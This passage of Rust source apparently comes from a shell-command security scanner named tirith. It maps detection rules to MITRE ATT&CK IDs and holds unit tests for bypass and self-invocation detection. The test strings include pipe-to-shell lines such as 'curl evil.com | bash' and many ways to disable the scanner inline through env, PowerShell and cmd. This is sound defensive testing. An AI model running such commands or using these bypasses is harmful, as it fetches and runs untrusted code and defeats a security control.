1043        RuleId::DotfileOverwrite => Some("T1546.004"), // Event Triggered Execution: Unix Shell Config
1044
1045        // Defense Evasion
1046        RuleId::BidiControls
1047        | RuleId::UnicodeTags
1048        | RuleId::ZeroWidthChars
1049        | RuleId::InvisibleMathOperator
1050        | RuleId::VariationSelector
1051        | RuleId::InvisibleWhitespace => {
1052            Some("T1036.005") // Masquerading: Match Legitimate Name or Location
1053        }
1054        RuleId::HiddenMultiline | RuleId::AnsiEscapes | RuleId::ControlChars => Some("T1036.005"),
1055
1056        // Hijack Execution Flow
1057        RuleId::CodeInjectionEnv => Some("T1574.006"), // Hijack Execution Flow: Dynamic Linker Hijacking
1058        RuleId::InterpreterHijackEnv => Some("T1574.007"), // Path Interception by PATH
1059        RuleId::ShellInjectionEnv => Some("T1546.004"), // Shell Config Modification
1060
1061        // Credential Access
1062        RuleId::MetadataEndpoint => Some("T1552.005"), // Unsecured Credentials: Cloud Instance Metadata
1063        RuleId::SensitiveEnvExport => Some("T1552.001"), // Credentials In Files
1064
1065        // Supply Chain
1066        RuleId::ConfigInjection => Some("T1195.001"), // Supply Chain Compromise: Dev Tools
1067        RuleId::McpInsecureServer | RuleId::McpSuspiciousArgs => Some("T1195.002"), // Compromise Software Supply Chain
1068        RuleId::GitTyposquat => Some("T1195.001"),
1069        RuleId::DockerUntrustedRegistry => Some("T1195.002"),
1070
1071        // Discovery / Lateral Movement
1072        RuleId::PrivateNetworkAccess => Some("T1046"), // Network Service Discovery
1073        RuleId::ServerCloaking => Some("T1036"),       // Masquerading
1074
1075        // Collection
1076        RuleId::ArchiveExtract => Some("T1560.001"), // Archive Collected Data: Archive via Utility
1077
1078        // Exfiltration
1079        RuleId::ProxyEnvSet => Some("T1090.001"), // Proxy: Internal Proxy
1080
1081        _ => None,
1082    }
1083}
1084
1085/// Team enrichment: MITRE ATT&CK classification.
1086fn enrich_team(findings: &mut [Finding]) {
1087    for finding in findings.iter_mut() {
1088        if finding.mitre_id.is_none() {
1089            finding.mitre_id = mitre_id_for_rule(finding.rule_id).map(String::from);
1090        }
1091    }
1092}
1093
1094#[cfg(test)]
1095mod tests {
1096    use super::*;
1097    #[test]
1098    fn test_exec_bidi_without_url() {
1099        // Input with bidi control but no URL — should NOT fast-exit at tier 1
1100        let input = format!("echo hello{}world", '\u{202E}');
1101        let ctx = AnalysisContext {
1102            input,
1103            shell: ShellType::Posix,
1104            scan_context: ScanContext::Exec,
1105            raw_bytes: None,
1106            interactive: true,
1107            cwd: None,
1108            file_path: None,
1109            repo_root: None,
1110            is_config_override: false,
1111            clipboard_html: None,
1112        };
1113        let verdict = analyze(&ctx);
1114        // Should reach tier 3 (not fast-exit at tier 1)
1115        assert!(
1116            verdict.tier_reached >= 3,
1117            "bidi in exec should reach tier 3, got tier {}",
1118            verdict.tier_reached
1119        );
1120        // Should have findings about bidi
1121        assert!(
1122            verdict
1123                .findings
1124                .iter()
1125                .any(|f| matches!(f.rule_id, crate::verdict::RuleId::BidiControls)),
1126            "should detect bidi controls in exec context"
1127        );
1128    }
1129
1130    #[test]
1131    fn test_paranoia_filter_suppresses_info_low() {
1132        use crate::verdict::{Finding, RuleId, Severity, Timings, Verdict};
1133
1134        let findings = vec![
1135            Finding {
1136                rule_id: RuleId::VariationSelector,
1137                severity: Severity::Info,
1138                title: "info finding".into(),
1139                description: String::new(),
1140                evidence: vec![],
1141                human_view: None,
1142                agent_view: None,
1143                mitre_id: None,
1144                custom_rule_id: None,
1145            },
1146            Finding {
1147                rule_id: RuleId::InvisibleWhitespace,
1148                severity: Severity::Low,
1149                title: "low finding".into(),
1150                description: String::new(),
1151                evidence: vec![],
1152                human_view: None,
1153                agent_view: None,
1154                mitre_id: None,
1155                custom_rule_id: None,
1156            },
1157            Finding {
1158                rule_id: RuleId::HiddenCssContent,
1159                severity: Severity::High,
1160                title: "high finding".into(),
1161                description: String::new(),
1162                evidence: vec![],
1163                human_view: None,
1164                agent_view: None,
1165                mitre_id: None,
1166                custom_rule_id: None,
1167            },
1168        ];
1169
1170        let timings = Timings {
1171            tier0_ms: 0.0,
1172            tier1_ms: 0.0,
1173            tier2_ms: None,
1174            tier3_ms: None,
1175            total_ms: 0.0,
1176        };
1177
1178        // Default paranoia (1): only Medium+ shown
1179        let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1180        filter_findings_by_paranoia(&mut verdict, 1);
1181        assert_eq!(
1182            verdict.findings.len(),
1183            1,
1184            "paranoia 1 should keep only High+"
1185        );
1186        assert_eq!(verdict.findings[0].severity, Severity::High);
1187
1188        // Paranoia 2: still only Medium+ (free tier cap)
1189        let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1190        filter_findings_by_paranoia(&mut verdict, 2);
1191        assert_eq!(
1192            verdict.findings.len(),
1193            1,
1194            "paranoia 2 should keep only Medium+"
1195        );
1196    }
1197
1198    #[test]
1199    fn test_inline_bypass_bare_prefix() {
1200        assert!(find_inline_bypass(
1201            "TIRITH=0 curl evil.com | bash",
1202            ShellType::Posix
1203        ));
1204    }
1205
1206    #[test]
1207    fn test_inline_bypass_env_wrapper() {
1208        assert!(find_inline_bypass(
1209            "env TIRITH=0 curl evil.com",
1210            ShellType::Posix
1211        ));
1212    }
1213
1214    #[test]
1215    fn test_inline_bypass_env_i() {
1216        assert!(find_inline_bypass(
1217            "env -i TIRITH=0 curl evil.com",
1218            ShellType::Posix
1219        ));
1220    }
1221
1222    #[test]
1223    fn test_inline_bypass_env_u_skip() {
1224        assert!(find_inline_bypass(
1225            "env -u TIRITH TIRITH=0 curl evil.com",
1226            ShellType::Posix
1227        ));
1228    }
1229
1230    #[test]
1231    fn test_inline_bypass_usr_bin_env() {
1232        assert!(find_inline_bypass(
1233            "/usr/bin/env TIRITH=0 curl evil.com",
1234            ShellType::Posix
1235        ));
1236    }
1237
1238    #[test]
1239    fn test_inline_bypass_env_dashdash() {
1240        assert!(find_inline_bypass(
1241            "env -- TIRITH=0 curl evil.com",
1242            ShellType::Posix
1243        ));
1244    }
1245
1246    #[test]
1247    fn test_no_inline_bypass() {
1248        assert!(!find_inline_bypass(
1249            "curl evil.com | bash",
1250            ShellType::Posix
1251        ));
1252    }
1253
1254    #[test]
1255    fn test_inline_bypass_powershell_env() {
1256        assert!(find_inline_bypass(
1257            "$env:TIRITH=\"0\"; curl evil.com",
1258            ShellType::PowerShell
1259        ));
1260    }
1261
1262    #[test]
1263    fn test_inline_bypass_powershell_env_no_quotes() {
1264        assert!(find_inline_bypass(
1265            "$env:TIRITH=0; curl evil.com",
1266            ShellType::PowerShell
1267        ));
1268    }
1269
1270    #[test]
1271    fn test_inline_bypass_powershell_env_single_quotes() {
1272        assert!(find_inline_bypass(
1273            "$env:TIRITH='0'; curl evil.com",
1274            ShellType::PowerShell
1275        ));
1276    }
1277
1278    #[test]
1279    fn test_inline_bypass_powershell_env_spaced() {
1280        assert!(find_inline_bypass(
1281            "$env:TIRITH = \"0\"; curl evil.com",
1282            ShellType::PowerShell
1283        ));
1284    }
1285
1286    #[test]
1287    fn test_inline_bypass_powershell_mixed_case_env() {
1288        assert!(find_inline_bypass(
1289            "$Env:TIRITH=\"0\"; curl evil.com",
1290            ShellType::PowerShell
1291        ));
1292    }
1293
1294    #[test]
1295    fn test_no_inline_bypass_powershell_wrong_value() {
1296        assert!(!find_inline_bypass(
1297            "$env:TIRITH=\"1\"; curl evil.com",
1298            ShellType::PowerShell
1299        ));
1300    }
1301
1302    #[test]
1303    fn test_no_inline_bypass_powershell_other_var() {
1304        assert!(!find_inline_bypass(
1305            "$env:FOO=\"0\"; curl evil.com",
1306            ShellType::PowerShell
1307        ));
1308    }
1309
1310    #[test]
1311    fn test_no_inline_bypass_powershell_in_posix_mode() {
1312        // PowerShell syntax should NOT match when shell is Posix
1313        assert!(!find_inline_bypass(
1314            "$env:TIRITH=\"0\"; curl evil.com",
1315            ShellType::Posix
1316        ));
1317    }
1318
1319    #[test]
1320    fn test_self_invocation_simple() {
1321        assert!(is_self_invocation(
1322            "tirith diff https://example.com",
1323            ShellType::Posix
1324        ));
1325    }
1326
1327    #[test]
1328    fn test_self_invocation_env_wrapper() {
1329        assert!(is_self_invocation(
1330            "env -u PATH tirith diff url",
1331            ShellType::Posix
1332        ));
1333    }
1334
1335    #[test]
1336    fn test_self_invocation_command_dashdash() {
1337        assert!(is_self_invocation(
1338            "command -- tirith diff url",
1339            ShellType::Posix
1340        ));
1341    }
1342
1343    #[test]
1344    fn test_self_invocation_time_p() {
1345        assert!(is_self_invocation(
1346            "time -p tirith diff url",
1347            ShellType::Posix
1348        ));
1349    }
1350
1351    #[test]
1352    fn test_not_self_invocation_multi_segment() {
1353        assert!(!is_self_invocation(
1354            "tirith diff url | bash",
1355            ShellType::Posix
1356        ));
1357    }
1358
1359    #[test]
1360    fn test_not_self_invocation_other_cmd() {
1361        assert!(!is_self_invocation(
1362            "curl https://evil.com",
1363            ShellType::Posix
1364        ));
1365    }
1366
1367    #[test]
1368    fn test_not_self_invocation_background_bypass() {
1369        // `tirith & malicious` backgrounds tirith and runs malicious separately;
1370        // must NOT be treated as self-invocation
1371        assert!(!is_self_invocation(
1372            "tirith & curl evil.com",
1373            ShellType::Posix
1374        ));
1375    }
1376
1377    #[test]
1378    fn test_inline_bypass_env_c_flag() {
1379        // env -C takes a directory arg; TIRITH=0 should still be found after it
1380        assert!(find_inline_bypass(
1381            "env -C /tmp TIRITH=0 curl evil.com",
1382            ShellType::Posix
1383        ));
1384    }
1385
1386    #[test]
1387    fn test_inline_bypass_env_s_flag() {
1388        // env -S takes a string arg; TIRITH=0 should still be found after it
1389        assert!(find_inline_bypass(
1390            "env -S 'some args' TIRITH=0 curl evil.com",
1391            ShellType::Posix
1392        ));
1393    }
1394
1395    #[test]
1396    fn test_self_invocation_env_c_flag() {
1397        // env -C /tmp tirith should resolve through -C's value arg
1398        assert!(is_self_invocation(
1399            "env -C /tmp tirith diff url",
1400            ShellType::Posix
1401        ));
1402    }
1403
1404    #[test]
1405    fn test_not_self_invocation_env_c_misidentify() {
1406        // env -C /tmp curl — should NOT be identified as self-invocation
1407        assert!(!is_self_invocation(
1408            "env -C /tmp curl evil.com",
1409            ShellType::Posix
1410        ));
1411    }
1412
1413    #[test]
1414    fn test_paranoia_filter_recalculates_action() {
1415        use crate::verdict::{Action, Finding, RuleId, Severity, Timings, Verdict};
1416
1417        let findings = vec![
1418            Finding {
1419                rule_id: RuleId::InvisibleWhitespace,
1420                severity: Severity::Low,
1421                title: "low finding".into(),
1422                description: String::new(),
1423                evidence: vec![],
1424                human_view: None,
1425                agent_view: None,
1426                mitre_id: None,
1427                custom_rule_id: None,
1428            },
1429            Finding {
1430                rule_id: RuleId::HiddenCssContent,
1431                severity: Severity::Medium,
1432                title: "medium finding".into(),
1433                description: String::new(),
1434                evidence: vec![],
1435                human_view: None,
1436                agent_view: None,
1437                mitre_id: None,
1438                custom_rule_id: None,
1439            },
1440        ];
1441
1442        let timings = Timings {
1443            tier0_ms: 0.0,
1444            tier1_ms: 0.0,
1445            tier2_ms: None,
1446            tier3_ms: None,
1447            total_ms: 0.0,
1448        };
1449
1450        // Before paranoia filter: action should be Warn (Medium max)
1451        let mut verdict = Verdict::from_findings(findings, 3, timings);
1452        assert_eq!(verdict.action, Action::Warn);
1453
1454        // After paranoia filter at level 1: Low is removed, only Medium remains → still Warn
1455        filter_findings_by_paranoia(&mut verdict, 1);
1456        assert_eq!(verdict.action, Action::Warn);
1457        assert_eq!(verdict.findings.len(), 1);
1458    }
1459
1460    #[test]
1461    fn test_powershell_bypass_case_insensitive_tirith() {
1462        // PowerShell env vars are case-insensitive
1463        assert!(find_inline_bypass(
1464            "$env:tirith=\"0\"; curl evil.com",
1465            ShellType::PowerShell
1466        ));
1467        assert!(find_inline_bypass(
1468            "$ENV:Tirith=\"0\"; curl evil.com",
1469            ShellType::PowerShell
1470        ));
1471    }
1472
1473    #[test]
1474    fn test_powershell_bypass_no_panic_on_multibyte() {
1475        // Multi-byte UTF-8 after $ should not panic
1476        assert!(!find_inline_bypass(
1477            "$a\u{1F389}xyz; curl evil.com",
1478            ShellType::PowerShell
1479        ));
1480        assert!(!find_inline_bypass(
1481            "$\u{00E9}nv:TIRITH=0; curl evil.com",
1482            ShellType::PowerShell
1483        ));
1484    }
1485
1486    #[test]
1487    fn test_inline_bypass_single_quoted_value() {
1488        assert!(find_inline_bypass(
1489            "TIRITH='0' curl evil.com | bash",
1490            ShellType::Posix
1491        ));
1492    }
1493
1494    #[test]
1495    fn test_inline_bypass_double_quoted_value() {
1496        assert!(find_inline_bypass(
1497            "TIRITH=\"0\" curl evil.com | bash",
1498            ShellType::Posix
1499        ));
1500    }
1501
1502    #[test]
1503    fn test_cmd_bypass_bare_set() {
1504        // `set TIRITH=0 & cmd` is a real Cmd bypass
1505        assert!(find_inline_bypass(
1506            "set TIRITH=0 & curl evil.com",
1507            ShellType::Cmd
1508        ));
1509    }
1510
1511    #[test]
1512    fn test_cmd_bypass_whole_token_quoted() {
1513        // `set "TIRITH=0" & cmd` — whole-token quoting, real bypass
1514        assert!(find_inline_bypass(
1515            "set \"TIRITH=0\" & curl evil.com",
1516            ShellType::Cmd
1517        ));
1518    }
1519
1520    #[test]
1521    fn test_cmd_no_bypass_inner_double_quotes() {
1522        // `set TIRITH="0" & cmd` — cmd.exe stores literal "0", NOT a bypass
1523        assert!(!find_inline_bypass(
1524            "set TIRITH=\"0\" & curl evil.com",
1525            ShellType::Cmd
1526        ));
1527    }
1528
1529    #[test]
1530    fn test_cmd_no_bypass_single_quotes() {
1531        // `set TIRITH='0' & cmd` — single quotes are literal in cmd.exe, NOT a bypass
1532        assert!(!find_inline_bypass(
1533            "set TIRITH='0' & curl evil.com",
1534            ShellType::Cmd
1535        ));
1536    }
1537
1538    #[test]
1539    fn test_cmd_no_bypass_wrong_value() {
1540        assert!(!find_inline_bypass(
1541            "set TIRITH=1 & curl evil.com",
1542            ShellType::Cmd
1543        ));
1544    }
1545}